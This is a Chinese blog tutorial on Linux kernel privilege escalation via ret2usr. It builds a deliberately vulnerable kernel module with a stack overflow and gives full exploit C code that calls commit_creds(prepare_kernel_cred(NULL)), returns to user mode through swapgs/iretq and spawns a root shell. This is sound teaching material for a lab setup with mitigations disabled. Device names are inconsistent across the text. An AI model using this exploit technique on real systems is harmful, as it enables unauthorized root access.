最硬核的来喽-linux内核漏洞利用(篇二)

全网最顶课程系列-linux内核漏洞开发,来喽!!!

顶不顶你们说了算

Linux 内核漏洞利用 - ret2usr

用户态漏洞利用的目标是获取代码执行权限并诱使进程生成 shell。内核态漏洞利用的主要目标是更改当前进程的权限。

下一节将展示一个自定义内核模块中的简单漏洞,即基于栈的缓冲区溢出,并描述如何利用该漏洞。

注意
这里没有启用 KASLR、PTI、SMEP 或 SMAP 等漏洞利用缓解措施。所有这些缓解措施以及如何利用它们将在后续文章中进行解释。

前提条件

这里可以找到关于如何构建调试环境的描述:Linux 内核漏洞利用 - 环境搭建。本示例将使用该环境。在开发过程中,应该修改 init 脚本以 root 权限启动 shell。

#!/bin/sh
for i in `find ".ko" /modules`
do
        insmod $i
done
mount -t proc none /proc
mount -t sysfs none /sys
mdev -s
chmod 666 /dev/stack_bof 
exec /bin/sh

#setuidgid 1000 /bin/sh

如果漏洞利用完成,init 脚本应该更改为以较低权限启动 shell。

#!/bin/sh
for i in `find ".ko" /modules`
do
        insmod $i
done
mount -t proc none /proc
mount -t sysfs none /sys
mdev -s
chmod 666 /dev/stack_bof
#exec /bin/sh

setuidgid 1000 /bin/sh

漏洞

以下摘录展示了本博客文章中用于演示漏洞利用方法的内核模块的源代码:

#include <linux/compiler.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/uaccess.h>

MODULE_DESCRIPTION("vuln1");
MODULE_AUTHOR("sash");
MODULE_LICENSE("GPL");

#define IOCTL_VULN1_WRITE 4141

static int vuln1_open(struct inode *inode, struct file *file)
{
        return 0;
}

static int vuln1_release(struct inode *inodep, struct file *filp)
{
        return 0;
}

static noinline int vuln1_do_breakstuff(unsigned long addr)
{
        char buffer[256];
        volatile int size = 512;

        return _copy_from_user(&buffer, (void __user *)addr, size);
}

static long vuln1_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
{
        long to_return;

        switch (cmd) {
                case IOCTL_VULN1_WRITE:
                        to_return = vuln1_do_breakstuff(value);
                        break;
                default:
                        to_return = -EINVAL;
                        break;
        }

        return to_return;
}

static const struct file_operations vuln1_file_ops = {
        .owner          = THIS_MODULE,
        .open           = vuln1_open,
        .unlocked_ioctl = vuln1_ioctl,
        .release        = vuln1_release,
        .llseek         = no_llseek,
};

struct miscdevice vuln1_device = {
        .minor  = MISC_DYNAMIC_MINOR,
        .name   = "vuln",
        .fops   = &vuln1_file_ops,
        .mode   = 0666,
};

module_misc_device(vuln1_device);

当使用 ioctl 系统调用时,会调用 vuln1_ioctl 函数。该模块为系统调用提供了一个操作 (IOCTL_VULN1_WRITE),该操作在内部调用 vuln1_do_breakstuffvuln1_do_breakstuff 函数有一个非常明显的漏洞。它从用户空间读取 512 个字节到一个 256 字节的缓冲区中。该函数调用 _copy_from_user 而不是 copy_from_user,是为了防止已实现的安全检查缓解缓冲区溢出。

注意
要编译内核模块,可以使用这里的说明。如果这不是一个选项,可以从这里下载所有资源。

该模块创建了杂项设备 /dev/vuln,可以使用 open 打开并使用 ioctl() 系统调用访问。

#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define IOCTL_VULN1_WRITE 4141

void ioctl_write(int fd){

        char buffer[512];
        memset(buffer, 0x41, sizeof(buffer));
        ioctl(fd, IOCTL_VULN1_WRITE, &buffer);
}

void main()
{
  int fd;

  fd = open("/dev/vuln", 0);
  if (fd < 0) {
    printf ("Cannot open device file");
    exit(-1);
  }

  ioctl_write(fd);
  close(fd);
}

在main函数中打开设备。函数 ioctl_write 展示了如何使用带有 IOCTL_VULN1_WRITE 命令的 ioctl 系统调用向设备写入数据。

方法

如前所述,在用户态漏洞利用中,漏洞利用通常会跳转到一个弹出 shell 的 shellcode。在内核态中,ret2usr 方法是最简单的内核态方法,它不会跳转到真正的 shellcode,而是跳转到内核态函数以将权限更改为 root,最后返回用户态。

在这个例子中,使用了最常见的方法:

  1. 获取 root 权限
  2. 恢复用户上下文并切换到用户态和提供的函数指针

1. 获取 root 权限

获取 root 权限的常用方法是调用 prepare_kernel_credcommit_creds。以下部分解释了这些函数的作用以及为什么在漏洞利用中使用这些函数是有意义的。

在内核中,每个任务(在用户态中称为进程)都由一个 task_struct 结构表示。该结构包含有关任务的所有信息。存储在该结构中的一个信息是有关任务凭据的信息。它存储在 struct cred 结构中,并由 struct cred *cred 指针引用,该指针是 task_struct 的一部分。

struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
        /*
         * For reasons of header soup (see current_thread_info()), this
         * must be the first element of task_struct.
         */
        struct thread_info              thread_info;
#endif
        /* -1 unrunnable, 0 runnable, >0 stopped: */
        volatile long                   state;

        /*
         * This begins the randomizable portion of task_struct. Only
         * scheduling-critical items should be added above here.
         */
        randomized_struct_fields_start

        void                            *stack;
        refcount_t                      usage;
        /* Per task flags (PF_*), defined further below: */
        unsigned int                    flags;
        unsigned int                    ptrace;
[...]
        /* Process credentials: */

        /* Tracer's credentials at attach: */
        const struct cred __rcu         *ptracer_cred;

        /* Objective and real subjective task credentials (COW): */
        const struct cred __rcu         *real_cred;

        /* Effective (overridable) subjective task credentials (COW): */
        const struct cred __rcu         *cred;
[...]
};

如下面的摘录所示,struct cred 包含所有 ID,如 uid、gid、euid 等。

struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key      *session_keyring; /* keyring inherited over fork */
        struct key      *process_keyring; /* keyring private to this process */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct ucounts *ucounts;
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        /* RCU deletion */
        union {
                int non_rcu;                    /* Can we skip RCU deletion? */
                struct rcu_head rcu;            /* RCU deletion hook */
        };
} __randomize_layout;

函数 prepare_kernel_cred 返回一个指向 struct cred 的引用。

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
        const struct cred *old;
        struct cred *new;

        new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
        if (!new)
                return NULL;

        kdebug("prepare_kernel_cred() alloc %p", new);

        if (daemon)
                old = get_task_cred(daemon);
        else
                old = get_cred(&init_cred);

        validate_creds(old);

        *new = *old;
        new->non_rcu = 0;
        atomic_set(&new->usage, 1);
        set_cred_subscribers(new, 0);
        get_uid(new->user);
        get_user_ns(new->user_ns);
        get_group_info(new->group_info);

#ifdef CONFIG_KEYS
        new->session_keyring = NULL;
        new->process_keyring = NULL;
        new->thread_keyring = NULL;
        new->request_key_auth = NULL;
        new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
        new->security = NULL;
#endif
        new->ucounts = get_ucounts(new->ucounts);
        if (!new->ucounts)
                goto error;

        if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
                goto error;

        put_cred(old);
        validate_creds(new);
        return new;

error:
        put_cred(new);
        put_cred(old);
        return NULL;
}
EXPORT_SYMBOL(prepare_kernel_cred);

该函数需要一个参数,该参数是指向 struct task_struct 的指针,但它可以为空。如果参数不为空,则用于从该任务读取凭据 (struct cred)。如果参数为空,则使用对 init_cred 的引用。init_cred 是一个准备好的 struct cred,用于初始任务并代表 root。

struct cred init_cred = {
        .usage                  = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
        .subscribers    = ATOMIC_INIT(2),
        .magic                  = CRED_MAGIC,
#endif
        .uid                    = GLOBAL_ROOT_UID,
        .gid                    = GLOBAL_ROOT_GID,
        .suid                   = GLOBAL_ROOT_UID,
        .sgid                   = GLOBAL_ROOT_GID,
        .euid                   = GLOBAL_ROOT_UID,
        .egid                   = GLOBAL_ROOT_GID,
        .fsuid                  = GLOBAL_ROOT_UID,
        .fsgid                  = GLOBAL_ROOT_GID,
        .securebits             = SECUREBITS_DEFAULT,
        .cap_inheritable        = CAP_EMPTY_SET,
        .cap_permitted          = CAP_FULL_SET,
        .cap_effective          = CAP_FULL_SET,
        .cap_bset               = CAP_FULL_SET,
        .user                   = INIT_USER,
        .user_ns                = &init_user_ns,
        .group_info             = &init_groups,
        .ucounts                = &init_ucounts,
};

这意味着,如果以 prepare_kernel_cred(null) 这种方式调用该函数,它将返回一个指向具有 root 权限的 struct cred 结构的引用。为了分配这些新凭据,需要使用 commit_creds 函数。该函数接受新凭据作为参数,并将它们分配给当前任务。
为了将 root 权限设置给当前任务,只需执行 commit_creds(perpare_kernel_creds(null)); 这样的调用即可。

2. 恢复用户上下文并切换到用户态

漏洞利用执行的最后一步是跳转到位于用户态的函数。如果漏洞利用在获得 root 权限后立即跳转到用户态函数,则所有重要的寄存器(如 RSP、RFLAGS 或段寄存器 CS 和 SS)仍然指向内核态。这些段甚至栈都无法从用户态访问。因此,必须由漏洞利用手动恢复。为了实现这一点,必须在切换到内核态(ioctl 调用)之前存储用户上下文(所有必要的寄存器)。

unsigned long u_cs;
unsigned long u_ss;
unsigned long u_rsp;
unsigned long u_rflags;
unsigned long u_rip;

void save_state() {
    __asm__(
        ".intel_syntax noprefix;"
        "mov u_cs, cs;"
        "mov u_ss, ss;"
        "mov u_rsp, rsp;"
        "pushf;"
        "pop u_rflags;"
        ".att_syntax;"
        );
    u_rip = (unsigned long)&start_sh;
}

当前的 RIP 没有被存储。在权限提升之后,调用一个执行所有应该以更高权限执行的操作的函数是有意义的。在这个例子中,使用了一个启动 shell 的函数。

void start_sh() {
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);
}

由于可以使用 swapgs 指令恢复 GS 寄存器,因此不需要保存它。swapgs 是一条特权指令,它将 gs 寄存器从内核态交换到用户态,反之亦然。
由于所有必要的值都已存储,因此可以在调用 commit_creds 后恢复它们。

void restore_state() {
        __asm__(
            ".intel_syntax noprefix;"
            "swapgs;""push u_ss;"     // restore gs reg and push all
            "push u_rsp;"             // other values to the stack
            "push u_rflags;"
            "push u_cs;"
            "push u_rip;"             // points to start_sh 
            "iretq;"                     
            ".att_syntax;"
            );
}

所有存储的值都被压入栈中,因为它们会由 iretq 指令自动恢复。该指令是从系统调用返回,因此类似于函数调用的 ret。由于 iretq 调用,它会从系统调用返回并切换回用户态。由于存储的 user_rip 指向 start_sh,因此该函数将在返回后执行。

漏洞利用

现在将所有内容组合在一起以实现一个有效的漏洞利用。

  1. 找到 commit_credsprepare_kernel_cred 的地址
  2. 保存用户状态
  3. 溢出缓冲区并用以下功能的地址覆盖返回地址:
    • 调用 commit_creds(prepare_kernel_cred(null))
    • 恢复用户状态并调用 iretq

上面已经展示了所有必要的函数。唯一缺少的是 commit_credsprepare_kernel_cred 函数的地址,以及从缓冲区开头到返回地址的偏移量。
可以通过多种方式找到函数的地址:

  • /proc/kallsyms 中查找地址
  • 在 gdb 中打印地址

要从 /proc/kallsyms 读取内核符号,需要 root 权限。

# cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810d2950 T prepare_kernel_cred
# cat /proc/kallsyms | grep commit_creds
ffffffff810d26f0 T commit_creds

可以很容易地从函数的反汇编代码中读取偏移量:

                        ;-- vuln1_do_breakstuff:
            ; CALL XREF from sub.vuln1_ioctl_80000f0 @ 0x8000104(x)
┌ 50: sub.vuln1_do_breakstuff_80000b0 ();
│           ; var int64_t var_100h @ rbp-0x100
│           ; var int64_t var_104h @ rbp-0x104
│           0x080000b0      e800000000     call __fentry__             ; RELOC 32 __fentry__
│           ; CALL XREF from sub.vuln1_do_breakstuff_80000b0 @ 0x80000b0(x)
│           0x080000b5      55             push rbp
│           0x080000b6      4889fe         mov rsi, rdi
│           0x080000b9      4889e5         mov rbp, rsp
│           0x080000bc      4881ec0801..   sub rsp, 0x108
│           0x080000c3      c785fcfeff..   mov dword [var_104h], 0x200 ; 512
│           0x080000cd      486395fcfe..   movsxd rdx, dword [var_104h]
│           0x080000d4      488dbd00ff..   lea rdi, [var_100h]
│           0x080000db      e800000000     call _copy_from_user        ; RELOC 32 _copy_from_user
│           ; CALL XREF from sub.vuln1_do_breakstuff_80000b0 @ 0x80000db(x)
│           0x080000e0      c9             leave
└           0x080000e1      c3             ret

在偏移量 0x080000d4 处,缓冲区的地址作为函数调用 _copy_from_user 的第一个参数被移动到 RDI 中。因此,缓冲区的地址为 RBP-0x100。这意味着到 RBP 的偏移量为 0x100。RBP 指向保存的帧指针。保存的帧指针后面的值是返回地址,这意味着从缓冲区开头到返回地址的偏移量为 0x108。

以下摘录展示了漏洞利用代码:

#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define IOCTL_VULN1_WRITE 4141
#define COMMIT_CREDS_ADDRESS 0xffffffff810d26f0ul
#define PREPARE_KERNEL_CRED_ADDRESS 0xffffffff810d2950ul

typedef int (* t_commit_creds)(void *);
typedef void *(* t_prepare_kernel_cred)(void *);

t_commit_creds commit_creds = (t_commit_creds)COMMIT_CREDS_ADDRESS;
t_prepare_kernel_cred prepare_kernel_cred = (t_prepare_kernel_cred)PREPARE_KERNEL_CRED_ADDRESS;

unsigned long u_cs;
unsigned long u_ss;
unsigned long u_rsp;
unsigned long u_rflags;
unsigned long u_rip;

void start_sh() {
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);
}

void save_state() {
    __asm__(
        ".intel_syntax noprefix;"
        "mov u_cs, cs;"
        "mov u_ss, ss;"
        "mov u_rsp, rsp;"
        "pushf;"
        "pop u_rflags;"
        ".att_syntax;"
        );
    u_rip = (unsigned long)&start_sh;
}

void restore_state() {
        __asm__(
            ".intel_syntax noprefix;"
            "swapgs;""push u_ss;"     // restore gs reg and push all
            "push u_rsp;"             // other values to the stack
            "push u_rflags;"
            "push u_cs;"
            "push u_rip;"             // points to start_sh
            "iretq;"
            ".att_syntax;"
            );
}

void exploit(){

  commit_creds(prepare_kernel_cred(NULL));

  restore_state();

}

void ioctl_write(int fd){

  char buffer[512];
  memset(buffer, 0x41, sizeof(buffer));

  // overwrite return address
  *(unsigned long *)&buffer[0x108] = (unsigned long) &exploit;

  //save user state
  save_state();
  
  // ioctl syscall
  ioctl(fd, IOCTL_VULN1_WRITE, &buffer);
}

void main()
{
  int fd;
  // open the device
  fd = open("/dev/vuln1", 0);
  if (fd < 0) {
    printf ("Cannot open device file");
    exit(-1);
  }

  ioctl_write(fd);
  close(fd);
}

该漏洞利用程序需要使用 gcc -static vuln1_exploit.c -o vuln1_exploit 进行静态编译,然后放入 initramfs 文件中。
此外,应该将 chmod 666 /dev/vuln 添加到 init 脚本中,以确保普通用户可以访问该设备。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值